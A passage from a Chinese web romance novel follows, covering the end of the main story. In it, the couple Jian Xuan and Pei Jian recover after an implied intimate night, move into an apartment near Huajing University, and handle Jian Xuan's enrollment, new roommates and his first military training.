“没有，带你去洗澡的时候看了眼时间。”裴渐重新把头埋在简渲的颈窝，蹭了蹭。
简渲拿着放在床头的手机看了一眼，看见屏保的时候简渲愣了一秒，才发现他拿的是裴渐的手机，他看了眼时间，才九点。
埋在自己颈窝的男人已经睡了过去，简渲也有些困，重新睡着了。
简渲再次醒来，身边已经没有人了。
他从床上坐了起来，这次拿的是他的手机，他看了一眼时间，下午三点。
简渲坐在床沿，感觉身体没什么不舒服的以后才站起身，下一秒，简渲就软在了床下的地毯上。
裴渐进卧室的时候看见的就是这副画面，他走到简渲旁边，把男生重新抱到了床上，“吃什么？”
简渲抿着唇，踹了裴渐一脚：“不想吃。”
裴渐握着简渲的脚踝，看着男生小腿上的青紫，揉了揉，“疼吗？”
“不疼，”简渲说道，脚尖抵着裴渐的膝盖，“你以后能不能别这么凶啊。”
裴渐把简渲的裤子卷到大腿，看着简渲大腿上比小腿更密集的青紫，“怎么这么多啊。”
昨晚给简渲洗澡的时候还没有这么严重。
他昨晚确实有点疯。
“我就容易留，不疼的，”看着裴渐心疼的神色，简渲下意识解释道，后知后觉裴渐转移了话题，“我问你话呢。”
“我控制不住。”裴渐说道。
裴渐确实没撒谎，他一看到简渲哭就有些忍不住了，男朋友就在自己面前，时不时用脚踹自己的肩膀，哭声时大时小的，眼睛红的跟个小兔子一样，前半程的时候被弄成那样了还搂着自己的脖子说喜欢哥哥。
裴渐真的控制不住。
“那你少做几次行不行。”简渲说道。
裴渐把简渲的裤腿放了下去，“好。”
简渲低着头，观察了一会裴渐的神色，确认裴渐没有撒谎以后才把抵着裴渐膝盖的脚放了下去，。
“我要起床。”简渲戳了戳裴渐的脸。
裴渐把简渲的双腿架在自己腰上，把简渲抱在怀里，说道：“我给你弄了点白菜粥，喝点吗？”
简渲的脑袋耷拉在裴渐的肩膀上，点点头，“疼。”
“很疼吗？”裴渐顿时有些紧张。
简渲咬了一下裴渐的耳垂，“不是疼就是很”
很胀。
简渲有些说不出口，裴渐领会到了简渲的意思，他抱着简渲坐在沙发上，把粥端到简渲面前，要勺子盛着喂到简渲唇边。
简渲把粥喝完以后裴渐就拿着手机捣鼓着什么。
简渲躺在沙发上休息了会，他看着站在门口的裴渐，问道：“你怎么站在那？”
裴渐还没说话，门铃就响了起来，裴渐把门打开，说了声谢谢，就拎着一个袋子走到简渲旁边。
简渲看着裴渐手里的袋子，有些好奇地问道：“这是什么？”
裴渐走到简渲身边，说道：“药，擦淤青的和擦那里的，都有。”
简渲的脸有些烫：“那里就不用了吧？”
裴渐把药拿了出来，“要的。”
简渲抢过裴渐手里的药，站起身，“我自己去擦。”
然后就走进了卧室。
裴渐站在卧室门口，过了五分钟还没人出来，倒是听到了不少碰撞声，裴渐把门打开，看着手足无措的简渲，“我来帮你。”
简渲下意识想拒绝，就听到裴渐继续说：“你会弄伤自己的。”
简渲只好把药递到裴渐手里。
擦完药以后，简渲在民宿休息了一天，等身体恢复的差不多了，两人才重新出去玩。
【正文完】
第60章 第 60 章 正文完
后面几个月简渲和裴渐去了攻略上的城市, 四月初的时候裴渐和简渲一起去了华京，挑了一个离简渲学校很近的房子，装修花了一个多月的时候, 等到甲醛散得差不多的时间刚好是八月底。
华京大学开学前一天，简渲和裴渐才拎包住了进去，咪咪和机车大概过几天才被托运过来。
整个房子的装修都很温馨，色调是很活泼的黄色，房子不是很大, 按照简渲的话来说，太空了没有安全感。
裴渐把自己的衣服放在衣柜里，抱着站在门口的简渲，“一年。”
大学都是大二才能搬出去住，简渲得在大学宿舍里面住一年。
简渲笑了一下，顺了顺裴渐的头发：“就一年。”
裴渐亲了亲简渲的脸，把男生的手握在自己掌心, 说道：“去买日用品。”
两人买完日用品, 把家里收拾好以后已经是晚上八点了，家里的厨具都没有开锅，就只点了份外卖吃。
简渲看着裴渐碗里的菜：“好吃吗？”
“一般。”裴渐神色平静, 还是吃了下去。
简渲夹了一块裴渐碗里的肉, 放进嘴里尝了一口，下一秒, 简渲就皱起了眉头，他吐了吐舌头，“好咸。”
裴渐笑了一下，把手边的水杯递到简渲唇边，“吃自己的。”
“我的太辣了。”简渲喝了口水, 咽下去以后说道。
裴渐用筷子夹了一点简渲碗里的菜，“你之前不是也要的这个辣度吗。”
简渲戳了戳裴渐的手臂，“我今天不能吃这么辣。”
裴渐这才想起来，他有些懊恼：“今天搬家我搞忘了。”
“都怪你。”简渲说道。
裴渐把简渲的饭盒盖上，闻言说道：“明天就抱不到你了，舍不得。”
简渲见裴渐还敢反驳，他踹了裴渐的小腿一下，“那也不至于那么久吧？我又不是一年不回来。”
裴渐握住简渲的脚踝，说道：“我错了。”
简渲把自己的脚从裴渐的手心抽出，看着裴渐把两人的饭盒盖上，简渲眨了眨眼，问道：“怎么了？”
裴渐站起身，把饭盒扔进垃圾桶里面，说道：“带你出去吃饭。”
小区楼下有很多饭店，裴渐和简渲随便进了一家餐厅，裴渐看着上面的菜单，点了几道清淡的菜。
“明天几点去学校？”裴渐问道。
“九点吧。”简渲拿着手机，看着上面的通知回答道。
裴渐点点头，没有再说什么。
很快菜就上来了，简渲看着桌上没有色泽的菜，说道：“怎么看着就没味道。”
“吃清淡的。”裴渐夹了点白菜到简渲碗里。
“可是也不至于一点盐味都没有吧？”简渲吃了口饭，说道。
裴渐握着简渲的指尖捏了捏，“过几天就可以吃了。”
简渲知道裴渐是为了他好，也没再说什么，只是吃得有些不得劲，之前简渲还能吃一碗饭，今天只吃了半碗。
裴渐看着可怜兮兮的简渲，最后还是给简渲点了一碗清汤面。
大概是之前裴渐点的菜真的太清淡了，简渲吧一整晚清汤面都吃完了。
简渲吃完面以后菜站起身，对裴渐说道：“回去吧。”
到了晚上睡觉的时候，只有一个卧室有床，简渲和裴渐自然而然也睡在一起了，简渲没急着睡，他趴在床上，回复着孟亭的消息。
【妈妈：到华京了吗？】
【nsgb：到了。】
【妈妈：好，军训用品准备好了吗？】
简渲看着消息，连忙翻转过身子，看着裴渐问道：“军训用品准备好了吗？”
裴渐看着简渲紧张的样子，把男生揽进了自己的怀里，说道：“明天再买也来得及。”
“明天我就去学校了。”简渲说道。
裴渐把简渲按在自己怀里，两人面对面躺着，裴渐吻了吻简渲的发顶，声音含着笑：“男朋友给你送来。”
简渲微微推开裴渐，回复了孟亭的消息，然后才靠在裴渐的怀里睡去。
第二天，华京大学报道的日子。
简渲醒的时候裴渐已经起床了，他手里拿着豆浆和面包，递到简渲面前：“吃点。”
简渲就坐在床上把早餐吃完了，他吃完早餐以后拿起放在床头的手机看了一眼，八点半。
裴渐把垃圾扔进垃圾桶里，打开衣柜问简渲：“穿什么？”
简渲随便看了一眼，指了一件短袖和裤子。
裴渐把衣服放在床上，对简渲说道：“等你换好就去报道。”
简渲点点头。
等简渲换完衣服出卧室的时候，裴渐正靠在玄关上打着电话，简渲不知道对面的人是谁，但听裴渐说话的语气简渲也能猜个大概。
“知道了，会把人送到大学门口的。”裴渐手里还拿着简渲的鞋子，见简渲出来，裴渐举着手里的鞋朝简渲示意。
简渲走到玄关，弯着腰开始换鞋，对面的声音也传入了简渲的耳中。
“人家十八岁就跟着你了，你多大了？能不能有个大人的样子，我没见过你这么懒散的年轻人。”对面的人是裴知书。
简渲抿着唇，笑了一下。
这几个月简渲也看出来了，裴知书就是单纯担心裴渐被人看不起，虽然行为有点过激。
简渲也从于婉婷口中得知，裴渐和裴知书的相处方式从小时候就是这样。
裴渐垂着眸，看见简渲笑，伸出手捏了捏简渲的脸颊，“笑什么。”
裴知书一听看知道裴渐不是在对他说话，他问道：“小渲在你旁边？”
听到裴知书对简渲的称呼，裴渐啧了一声，说道：“你这么喊，有点油腻。”
“滚滚滚，把手机给小渲。”裴知书说道。
简渲把脸凑到裴渐的手机旁边，说道：“叔叔。”
电话那头，原本还声音严肃的裴知书立马放柔了音调：“今天就去学校报道了吗？”
简渲嗯了一声，“裴渐陪我去。”
“好，他熟悉这些地方，让他带着你去，如果在学校有人欺负你和裴渐说。”裴知书说道。
简渲抬起头看了裴渐一眼。
裴渐揉了揉简渲的下巴，拉着男生的手腕，把手机举了起来，说道：“知道了，挂了。”
电话挂断以后，简渲问道：“你大学还是校霸吗？”
裴渐拿着车钥匙出了门，闻言说道：“没有，我大学是风纪部部长，他们新一届的部长认识我。”
简渲点了点头。
两人到了华京大学校门口，裴渐手里拿着简渲的行李箱，带着简渲去报道。
站在校门口的学长看见有人来，连忙迎了上去，问道：“学弟，什么系的？”
“数学系。”简渲说道。
“好的，跟我来。”那个学长想去拿裴渐手里的行李箱。
裴渐把行李箱往后放了放，学长想要去拿行李箱的手落空，他有些尴尬地抬起了头，问道：“学弟不需要帮忙吗？”
简渲用手肘顶了顶裴渐，对学长说道：“抱歉啊学长，他是我哥哥。”
学长连忙点点头，继续说道：“那我带路吧？”
简渲刚想应下，裴渐就开口了：“我认识路。”
学长刚想开口，就听到身后有声音响起：“裴学长！”
学长转过头，就看见他们风纪部的部长走到裴渐身边，说道：“你怎么回来了？”
裴渐握着简渲的手腕，说道：“送男朋友。”
学长的神色也僵住。
不是哥哥吗？
风纪部部长愣了一瞬，很快又反应过来，说道：“学霸啊。”
“嗯，那我带他去了。”裴渐颔首，说道。
风纪部部长朝裴渐挥了挥手，看着裴渐和他那个男朋友走后，风纪部部长转过身，看着还愣在原地的人，“愣住了？”
刚刚和简渲搭话的那个学长连忙回过神，“来了。”
裴渐拉着简渲走后，简渲见周围没人注意到他，开口问道：“你怎么说出来了？”
“抱歉，有点吃醋。”裴渐说道。
简渲握住了裴渐的指尖，晃了晃说道：“你道歉干什么，我们不是在谈恋爱吗？”
裴渐看着简渲的神色，笑了一下，才说道：“知道不该吃醋的，就是看见有人对你献殷勤，有点不开心。”
“这是他们的职责呀。”简渲捏着裴渐的手说道。
裴渐垂着眸，“下次不这样了。”
他不想说，刚刚那个学长看简渲的眼神不对劲。
说出来，显得自己斤斤计较。
等带着简渲报道完，裴渐就拉着行李箱带简渲去宿舍报道了。
华京大学的宿舍是四人寝，上床下桌，简渲进去的时候其他舍友都还没来。
简渲挑了个上铺靠门的床位，他爬上了床，坐在床上的对裴渐说道：“铺床。”
裴渐把被子和枕头递到简渲手里。
简渲把床铺好，从床上下来，看着自己铺好的床位。
“累吗？”裴渐问道。
简渲摇摇头，“还好。”
他弯下腰，把行李箱打开，把里面的衣服拉出来挂在衣柜里面。
简渲把自己的床位收拾好，很快，其他舍友就陆陆续续地来了。
他们的视线都先落在裴渐身上，然后落在简渲身上，裴渐见简渲把东西收拾好了以后才开口：“那我先走了，去给你买军训用品。”
简渲把崭新的笔记本放在桌上，闻言点点头。
等到裴渐走到，一个有些自来熟的小胖子凑到简渲旁边，问道：“这是你哥哥吗？”
简渲啊了一声，漫不经心地说道：“男朋友。”
宿舍其他三个人都被简渲的话怔住，那个问话的小胖子哦哦了几声，也不再说话了。
简渲坐在自己的座位上，拿着手机给裴渐发消息。
【nsgb：我舍友刚刚问你是不是哥哥。】
【nsgb：我说你是我男朋友。】
很快，裴渐的消息发了过来。
【哥哥：大学很多人表面一套背后一套，你不用说的。】
简渲的指尖在屏幕上点的很快：【我不在意的，反正就住一年，就是想炫耀男朋友而已。】
【哥哥：（语音8s）】
裴渐没打字，发条语音，简渲找到耳机带上，这才点开裴渐的语音。
“喜欢男朋友，男朋友什么时候出来拿东西？”裴渐含笑的声音在简渲手机里响起。
简渲摸了摸自己的耳朵。
【nsgb：你买好了？】
【哥哥：嗯。】
【nsgb：你在哪？】
【哥哥：就在你们宿舍楼下。】
简渲推开椅子站起身，拿着手机就往楼下走。
简渲的宿舍就在四楼，跑下去要不了多久。
简渲跑到宿舍楼下，就看见了裴渐，他连忙走到裴渐身边，“怎么这么快啊？”
他明明记得裴渐还没有出去多久。
裴渐把东西放在简渲手里，说道：“我早上就买好了，但是带的东西多，就没拿出来。”
简渲拎着沉甸甸的东西，笑了一下，“那我上去了？”
裴渐点点头，“好。”
简渲回到宿舍以后把军训用品放在了自己的桌上，很快，刚刚和简渲搭话的小胖子就开口了：“我叫刘问，你叫什么啊？”
简渲回道：“简渲，三点水一个宣。”
“哦哦，你这个笔记本是什么牌子的，看着好好。”小胖子继续问道。
男生的话题无非就几件事，游戏，车子，手机这些。
简渲说了自己的牌子，刘问把简渲说的名字几下，“那我也买这个。”
见简渲和刘问聊了起来，其他两个人也凑了进来。
一个带着眼睛有些瘦高的男生说道：“我叫方承。”
“我叫秦致。”秦致带着个头戴式耳机，手里拿着手机，看样子是个网瘾少年。
很快几个人就混熟了，晚上去食堂吃饭也是一起去的。
到了晚上，刘问拿着手机在考古以前的表白墙，刷着刷着，他突然愣住，看着坐在书桌前的简渲，“简渲，你男朋友也是华京大学的啊？”
简渲不知道刘问怎么知道的，但他还是点点头，“对，但是他毕业了。”
“去年和前年的表白墙全是他欸。”刘问说道。
“他长得帅。”简渲开口。
刘问看了看简渲，“你也好看，你俩都是学霸啊？怎么认识的？”
简渲看着凑过来的三双眼睛，最后还是说了起来。
不过省略了很多地方。
听完简渲说的故事，刘问惊叹道：“你们好有缘啊。”
秦致和方承也点点头。
几人都聊了些事情寝室就熄灯了，简渲爬上了床，给裴渐发消息。
【nsgb：你以前很出名吗？】
【哥哥：怎么说？】
【nsgb：我舍友说去年和前年表白墙都是你。】
【哥哥：我没关注过。】
【nsgb：好吧。】
【哥哥：怎么了？】
简渲换了个姿势侧躺着。
【nsgb：你没和其他人谈过恋爱吗？】
简渲的消息刚发过去，裴渐的语音通话就打来了。
简渲拿出耳机带上，接通了裴渐的语音电话。
“你是初恋。”刚接通电话，裴渐的声音就在手机里面响起。
简渲愣住，他没想到裴渐还特意给他解释，“我就是问问。”
裴渐在手机那头笑了一下，“我也就是说说，男朋友，该睡觉了。”
大学军训要半个月，军训结束的时候已经是中秋节了，简渲回宿舍换了件衣服，洗了个澡就打算回家。
简渲还没出过校门，他一般都是在食堂吃饭，华京大学很大，不可避免地，简渲迷路了。
简渲蹲在地上，手机亮着，是和裴渐的通话界面。
“你在哪？”裴渐问道。
简渲看着周围的环境，说道：“周围很多树，有一行电瓶车。”
“没有其他的了？”裴渐问道。
“我还是去问路吧。”简渲站起身，说道。
“我知道在哪了，你蹲在树下面等我，累吗？”电话那头，裴渐的动作声很明显。
简渲知道裴渐是在问他军训累不累。
“累，我都晒黑了。”简渲忍不住和裴渐吐槽道。
“晒黑了也好看。”裴渐回道。
简渲蹲在树下，“你哄我。”
“我男朋友全天下第一好看，”裴渐笑着说道，“别挂电话，等我二十分钟。”
简渲应了声好。
手机那头的风声不停传来，简渲没有说话，他蹲在地上无聊，用指尖在水泥上画着圈圈。
简渲在心里默数着时间。
十分钟。
十一分钟。
十二分钟
十五分钟零八秒。
空气里传来熟悉的味道，一股浓郁的皂角香。
简渲下意识抬头，就看见裴渐站在他面前，伸出手，眉眼弯着，“回家了。”-
正文完-